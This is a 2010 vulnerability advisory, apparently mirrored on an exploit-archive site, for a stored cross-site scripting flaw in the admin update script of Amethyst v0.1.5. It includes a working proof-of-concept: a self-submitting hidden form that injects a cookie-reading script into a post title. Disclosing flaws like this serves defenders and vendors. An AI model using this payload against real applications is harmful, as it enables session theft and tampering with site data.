Home / os / win7

Amethyst v0.1.5 XSS Vulnerability

Posted on 05 August 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Amethyst v0.1.5 XSS Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>================================= Amethyst v0.1.5 XSS Vulnerability ================================= Vulnerability ID: HTB22502 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_amethyst_2.html Product: Amethyst Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/amethyst ) Vulnerable Version: 0.1.5 and Probably Prior Versions Vendor Notification: 22 July 2010 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Fixed by Vendor Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking &amp; Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the admin/update script to properly sanitize user-supplied input in &quot;post[title]&quot; variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: &lt;form action=&quot;http://host/admin/update/2&quot; method=&quot;post&quot; name=&quot;main&quot; &gt; &lt;input type=&quot;hidden&quot; name=&quot;post[title]&quot; value='title&quot;&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;' /&gt; &lt;input type=&quot;hidden&quot; name=&quot;post[content]&quot; value=&quot;this is my post&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;post[created_at(1i)]&quot; value=&quot;2010&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;post[created_at(2i)]&quot; value=&quot;7&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;post[created_at(3i)]&quot; value=&quot;15&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;post[created_at(4i)]&quot; value=&quot;20&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;post[created_at(5i)]&quot; value=&quot;39&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;post[updated_at(1i)]&quot; value=&quot;2010&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;post[updated_at(2i)]&quot; value=&quot;7&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;post[updated_at(3i)]&quot; value=&quot;15&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;post[updated_at(4i)]&quot; value=&quot;20&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;post[updated_at(5i)]&quot; value=&quot;39&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;commit&quot; value=&quot;Create&quot; /&gt; &lt;/form&gt; &lt;script&gt; document.main.submit(); &lt;/script&gt; Solution: Upgrade to the most recent version # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-05]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP